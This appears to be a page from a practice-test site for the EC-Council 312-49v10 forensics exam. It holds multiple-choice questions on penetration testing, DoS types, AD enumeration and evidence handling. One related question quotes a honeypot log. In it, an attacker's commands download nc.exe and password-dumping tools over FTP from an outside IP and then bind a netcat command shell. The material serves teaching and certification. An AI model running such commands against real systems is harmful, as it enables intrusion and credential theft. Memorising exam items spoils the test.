Home / ECCouncil / 312-49v10

ECCouncil 312-49v10 Practice Test - Questions Answers, Page 19

Question list

List of questions

Question 181

(0)

You have compromised a lower-level administrator account on an Active Directory network of a small company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one o

Question 182

(0)

What are the security risks of running a "repair" installation for Windows XP?

Question 183

(0)

Terri works for a security consulting firm that is currently performing a penetration test on First National Bank in Tokyo. Terri's duties include bypassing firewalls and switches to gain access to

Question 184

(0)

You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for

Question 185

(0)

The objective of this act was to protect consumers' personal financial information held by financial institutions and their service providers.

Question 186

(0)

Why is it a good idea to perform a penetration test from the inside?

Question 187

(0)

Harold is a web designer who has completed a website for ghttech.net. As part of the maintenance agreement he signed with the client, Harold is performing research online and seeing how much exposur

Question 188

(0)

Jonathan is a network administrator who is currently testing the internal security of his network. He is attempting to hijack a session, using Ettercap, of a user connected to his Web server. Why wi

Question 189

(0)

A packet is sent to a router that does not have the packet destination address in its route table. How will the packet get to its proper destination?

Question 190

(0)

James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network. What type of DoS attack is James testing against his net

Related questions

Report writing is a crucial stage in the outcome of an investigation. Which information should not be included in the report section?

In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching. During boot prefetching, what does the Cache Manager do?

William is examining a log entry that reads 192.168.0.1 - - [18/Jan/2020:12:42:29 +0000) "GET / HTTP/1.1" 200 1861. Which of the following logs does the log entry belong to?

During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as:

What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?

In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography algorithm used to hide the information?

An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekend. You detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be able to break the encryption so that you can verify that that the employee was in possession of the proprietary information?

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case?

Malware analysis can be conducted in various manners. An investigator gathers a suspicious executable file and uploads It to VirusTotal in order to confirm whether the file Is malicious, provide information about Its functionality, and provide Information that will allow to produce simple network signatures. What type of malware analysis was performed here?

Question 181

You have compromised a lower-level administrator account on an Active Directory network of a small company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one of the Domain Controllers on port 389 using ldp.exe. What are you trying to accomplish here?

Poison the DNS records with false records

Enumerate MX and A records from DNS

Establish a remote connection to the Domain Controller

Enumerate domain user accounts and built-in groups

Show Answer Comment (0)

Question 182

What are the security risks of running a "repair" installation for Windows XP?

Pressing Shift+F10gives the user administrative rights

Pressing Shift+F1gives the user administrative rights

Pressing Ctrl+F10 gives the user administrative rights

There are no security risks when running the "repair" installation for Windows XP

Show Answer Comment (0)

Question 183

Terri works for a security consulting firm that is currently performing a penetration test on First National Bank in Tokyo. Terri's duties include bypassing firewalls and switches to gain access to the network. Terri sends an IP packet to one of the company's switches with ACK bit and the source address of her machine set. What is Terri trying to accomplish by sending this IP packet?

Trick the switch into thinking it already has a session with Terri's computer

Poison the switch's MAC address table by flooding it with ACK bits

Crash the switch with a DoS attack since switches cannot send ACK bits

Enable tunneling feature on the switch

Show Answer Comment (0)

Question 184

You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for an open position: 7+ years experience in Windows Server environment 5+ years experience in Exchange 2000/2003 environment Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired, MCSE, CEH preferred No Unix/Linux Experience needed What is this information posted on the job website considered?

Social engineering exploit

Competitive exploit

Information vulnerability

Trade secret

Show Answer Comment (0)

Question 185

The objective of this act was to protect consumers' personal financial information held by financial institutions and their service providers.

Gramm-Leach-Bliley Act

Sarbanes-Oxley 2002

California SB 1386

HIPAA

Show Answer Comment (0)

Question 186

Why is it a good idea to perform a penetration test from the inside?

It is never a good idea to perform a penetration test from the inside

Because 70% of attacks are from inside the organization

To attack a network from a hacker's perspective

It is easier to hack from the inside

Show Answer Comment (0)

Question 187

Harold is a web designer who has completed a website for ghttech.net. As part of the maintenance agreement he signed with the client, Harold is performing research online and seeing how much exposure the site has received so far.

Harold navigates to google.com and types in the following search. link:www.ghttech.net What will this search produce?

All sites that ghttech.net links to

All sites that link to ghttech.net

All search engines that link to .net domains

Sites that contain the code: link:www.ghttech.net

Show Answer Comment (0)

Question 188

Jonathan is a network administrator who is currently testing the internal security of his network. He is attempting to hijack a session, using Ettercap, of a user connected to his Web server. Why will Jonathan not succeed?

Only an HTTPS session can be hijacked

HTTP protocol does not maintain session

Only FTP traffic can be hijacked

Only DNS traffic can be hijacked

Show Answer Comment (0)

Question 189

A packet is sent to a router that does not have the packet destination address in its route table.

How will the packet get to its proper destination?

Root Internet servers

Border Gateway Protocol

Gateway of last resort

Reverse DNS

Show Answer Comment (0)

Question 190

James is testing the ability of his routers to withstand DoS attacks. James sends ICMP ECHO requests to the broadcast address of his network. What type of DoS attack is James testing against his network?

Smurf

Trinoo

Fraggle

SYN flood

Show Answer Comment (0)

Total 704 questions

17 18 19 20 21

Go to page: of 71